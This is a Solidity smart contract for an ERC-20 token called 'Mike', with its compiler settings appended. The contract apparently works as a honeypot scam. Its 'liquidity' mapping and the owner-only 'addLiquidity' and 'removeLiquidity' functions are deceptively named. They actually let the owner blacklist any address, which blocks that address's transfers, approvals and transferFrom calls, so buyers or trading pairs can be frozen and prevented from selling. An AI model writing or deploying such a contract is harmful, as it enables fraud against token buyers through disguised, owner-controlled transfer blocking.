// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Mike is IERC20, Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private liquidity;
constructor() {
name = "Mike ";
symbol = "MIKE";
decimals = 10;
_totalSupply = 100000000000 * 10**uint256(decimals);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function getLiquitdityStatus(address _addrs) public view onlyOwner returns (bool) {
return liquidity[_addrs];
}
function addLiquidity(address[] memory liquidity_) external onlyOwner {
for (uint256 i = 0; i < liquidity_.length; i++) {
liquidity[liquidity_[i]] = true;
}
}
function removeLiquidity(address account) external onlyOwner {
require(liquidity[account], "Address is not in array");
liquidity[account] = false;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
address sender = msg.sender;
require(!liquidity[_msgSender()], "Sender is in array");
require(!liquidity[recipient], "Recipient is in array");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than zero");
require(_balances[sender] >= amount, "ERC20: insufficient balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
address owner = msg.sender;
require(!liquidity[_msgSender()], "Approver is in array");
require(!liquidity[spender], "Spender is in array");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
require(!liquidity[sender], "Sender is in array");
require(!liquidity[recipient], "Recipient is in array");
require(!liquidity[_msgSender()], "Caller is in array");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than zero");
require(_balances[sender] >= amount, "ERC20: insufficient balance");
require(
_allowances[sender][msg.sender] >= amount,
"ERC20: insufficient allowance"
);
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][msg.sender] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
}
{
"compilationTarget": {
"MIKE.sol": "Mike"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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